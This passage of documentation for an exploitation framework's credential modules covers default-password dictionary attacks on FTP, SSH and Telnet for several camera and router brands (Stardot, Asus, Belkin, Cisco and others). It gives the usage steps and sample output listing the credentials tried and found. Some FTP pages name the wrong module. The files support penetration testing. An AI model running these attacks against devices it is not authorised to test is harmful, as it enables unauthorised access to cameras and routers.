   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/stardot/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Stardot Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/stardot/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/stardot/ftp_default_creds
rsf (Stardot Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Stardot Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/stardot/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Stardot Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/stardot/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/stardot/ssh_default_creds
rsf (Stardot Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Stardot Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/stardot/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Stardot Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/stardot/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/stardot/telnet_default_creds
rsf (Stardot Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Stardot Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/vacron/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Vacron Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/vacron/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/vacron/ftp_default_creds
rsf (Vacron Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Vacron Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/vacron/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Vacron Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/vacron/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/vacron/ssh_default_creds
rsf (Vacron Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Vacron Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/vacron/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Vacron Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/vacron/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/vacron/telnet_default_creds
rsf (Vacron Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Vacron Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/videoiq/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against VideoIQ Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/videoiq/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/videoiq/ftp_default_creds
rsf (VideoIQ Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (VideoIQ Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/videoiq/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against VideoIQ Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/videoiq/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/videoiq/ssh_default_creds
rsf (VideoIQ Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (VideoIQ Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/videoiq/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against VideoIQ Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/videoiq/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/videoiq/telnet_default_creds
rsf (VideoIQ Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (VideoIQ Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/asmax/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Asmax Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/asmax/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/asmax/ftp_default_creds
rsf (Asmax Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asmax Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/asmax/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Asmax Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/asmax/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/asmax/ssh_default_creds
rsf (Asmax Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asmax Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/asmax/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Asmax Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/asmax/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/asmax/telnet_default_creds
rsf (Asmax Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asmax Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/asus/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Asus Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/asus/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/asus/ftp_default_creds
rsf (Asus Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/asus/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Asus Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/asus/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/asus/ssh_default_creds
rsf (Asus Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/asus/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Asus Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/asus/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/asus/telnet_default_creds
rsf (Asus Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/belkin/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Belkin Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/belkin/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/belkin/ftp_default_creds
rsf (Belkin Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Belkin Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/belkin/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Belkin Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/belkin/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/belkin/ssh_default_creds
rsf (Belkin Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Belkin Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/belkin/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Belkin Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/belkin/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/belkin/telnet_default_creds
rsf (Belkin Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Belkin Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/bhu/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Bhu Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/bhu/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/bhu/ftp_default_creds
rsf (Bhu Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Bhu Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/bhu/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Bhu Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/bhu/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/bhu/ssh_default_creds
rsf (Bhu Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Bhu Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/bhu/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Bhu Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/bhu/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/bhu/telnet_default_creds
rsf (Bhu Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Bhu Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/billion/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Billion Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/billion/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/billion/ftp_default_creds
rsf (Billion Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Billion Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/billion/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Billion Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/billion/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/billion/ssh_default_creds
rsf (Billion Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Billion Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/billion/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Billion Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/billion/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/billion/telnet_default_creds
rsf (Billion Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Billion Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/cisco/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Cisco Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/cisco/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/cisco/ftp_default_creds
rsf (Cisco Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
